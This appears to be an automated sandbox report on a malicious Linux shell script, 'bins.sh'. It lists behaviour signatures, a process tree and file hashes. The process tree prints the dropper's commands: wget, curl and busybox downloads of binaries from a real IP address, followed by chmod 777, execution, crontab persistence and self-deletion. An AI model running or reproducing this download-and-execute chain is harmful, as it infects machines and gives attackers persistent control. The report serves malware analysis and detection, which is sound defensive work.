Overview

overview

9

Static

static

1

bins.sh

ubuntu-18.04-amd64

9

bins.sh

debian-9-armhf

9

bins.sh

debian-9-mips

8

bins.sh

debian-9-mipsel

8

Analysis

  • max time kernel
    137s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    08/11/2024, 02:47

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample241108-c9v25stdqh
  • SHA256 7f27651cd5947b577d3d2ca920a2f0b188cacbffe8b721b4899e781b83b4deac
  • MD5 SHA1 SHA512 SSDEEP
Score
9/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Contacts a large (2203) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1518
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1519
        • /usr/bin/wget
          wget http://216.126.231.240/bins/Lg5s87jZUX8eZ28fPy2HQwub85NfZdyCxc
          2⤵
          • Writes file to tmp directory
          PID:1520
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/Lg5s87jZUX8eZ28fPy2HQwub85NfZdyCxc
          2⤵
          • Writes file to tmp directory
          PID:1525
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/Lg5s87jZUX8eZ28fPy2HQwub85NfZdyCxc
          2⤵
          • Writes file to tmp directory
          PID:1526
        • /bin/chmod
          chmod 777 Lg5s87jZUX8eZ28fPy2HQwub85NfZdyCxc
          2⤵
          • File and Directory Permissions Modification
          PID:1527
        • /tmp/Lg5s87jZUX8eZ28fPy2HQwub85NfZdyCxc
          ./Lg5s87jZUX8eZ28fPy2HQwub85NfZdyCxc
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:1528
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:1530
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:1531
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:1532
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:1533
              • /bin/rm
                rm Lg5s87jZUX8eZ28fPy2HQwub85NfZdyCxc
                2⤵
                  PID:1535
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/9xNsbFacxPNkm2bbhNPnI7jfDJUF9DQhPl
                  2⤵
                  • Writes file to tmp directory
                  PID:1538

              Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

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                    Downloads

                    9xNsbFacxPNkm2bbhNPnI7jfDJUF9DQhPl
                    • Path /tmp/9xNsbFacxPNkm2bbhNPnI7jfDJUF9DQhPl
                    • Size 12KB
                    • SHA256 66cd7ac0f648d08ca75e2c10c1c3f2a7d4f12112febbe6e93eecaee10e16434d
                    • MD5 SHA1 SHA512 SSDEEP
                    Submit Download

                    Lg5s87jZUX8eZ28fPy2HQwub85NfZdyCxc
                    • Path /tmp/Lg5s87jZUX8eZ28fPy2HQwub85NfZdyCxc
                    • Size 99KB
                    • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                    • MD5 SHA1 SHA512 SSDEEP
                    Submit Download

                    tmp.IgAbVF
                    • Path /var/spool/cron/crontabs/tmp.IgAbVF
                    • Size 210B
                    • SHA256 d941ee8fab448fda4179a2bc3f4e56a1b534f5daea5608488bfa5f798bbe3a38
                    • MD5 SHA1 SHA512
                    Submit Download